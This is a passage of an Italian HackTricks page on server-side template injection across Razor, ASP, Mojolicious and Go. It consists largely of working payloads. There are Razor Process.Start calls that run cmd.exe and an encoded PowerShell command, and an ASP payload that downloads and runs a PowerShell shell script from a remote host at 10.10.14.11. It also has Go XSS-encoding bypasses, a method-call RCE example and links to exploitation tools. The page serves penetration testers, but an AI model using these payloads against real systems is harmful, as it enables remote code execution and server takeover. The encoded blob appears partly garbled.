${x}
Ulteriori informazioni
Razor (.Net)
@(2+2) <= Success
@() <= Success
@("{{code}}") <= Success
@ <= Success
@{} <= ERRORE!
@{ <= ERRORE!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxAC8AdABlAHMAdABtAGUAdAA2ADQALgBlAHgAZQAIAE8AdQB0AEYASQBsAGUAIAhDAOkAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Il metodo .NET System.Diagnostics.Process.Start
può essere utilizzato per avviare qualsiasi processo sul server e quindi creare una webshell. È possibile trovare un esempio di webapp vulnerabile in https://github.com/cnotin/RazorVulnerableApp
Ulteriori informazioni
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Nulla<%= response.write(date()) %>
= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Ulteriori informazioni
Mojolicious (Perl)
Anche se è perl, utilizza tag come ERB in Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Errore
<%= perl code %>
<% perl code %>
SSTI in GO
Nel motore di template di Go, la conferma del suo utilizzo può essere fatta con payload specifici:
{{ . }}
: Rivela l'input della struttura dei dati. Ad esempio, se viene passato un oggetto con un attributoPassword
,{{ .Password }}
potrebbe esporlo.{{printf "%s" "ssti" }}
: Previsto per visualizzare la stringa "ssti".{{html "ssti"}}
,{{js "ssti"}}
: Questi payload dovrebbero restituire "ssti" senza aggiungere "html" o "js". Ulteriori direttive possono essere esplorate nella documentazione di Go qui.
Sfruttamento XSS
Con il pacchetto text/template
, l'XSS può essere diretto inserendo direttamente il payload. Al contrario, il pacchetto html/template
codifica la risposta per prevenirlo (ad esempio, {{"<script>alert(1)</script>"}}
risulta in <script>alert(1)</script>
). Tuttavia, la definizione e l'invocazione del template in Go possono aggirare questa codifica: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
Sfruttamento RCE
Lo sfruttamento RCE differisce significativamente tra html/template
e text/template
. Il modulo text/template
consente di chiamare direttamente qualsiasi funzione pubblica (usando il valore "call"), cosa non consentita in html/template
. La documentazione per questi moduli è disponibile qui per html/template e qui per text/template.
Per RCE tramite SSTI in Go, possono essere invocati i metodi degli oggetti. Ad esempio, se l'oggetto fornito ha un metodo System
che esegue comandi, può essere sfruttato come {{ .System "ls" }}
. Di solito è necessario accedere al codice sorgente per sfruttare questo, come nell'esempio fornito:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Ulteriori informazioni
- https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html
- https://www.onsecurity.io/blog/go-ssti-method-research/
Altri Exploit
Controlla il resto di https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection per ulteriori exploit. Puoi trovare informazioni interessanti sui tag in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
Aiuto Correlato
Se pensi che possa esserti utile, leggi:
Strumenti
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Lista di Rilevamento Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Pratica e Riferimenti
- https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
RootedCON è l'evento sulla sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro fervente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
{% embed url="https://www.rootedcon.com/" %}
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.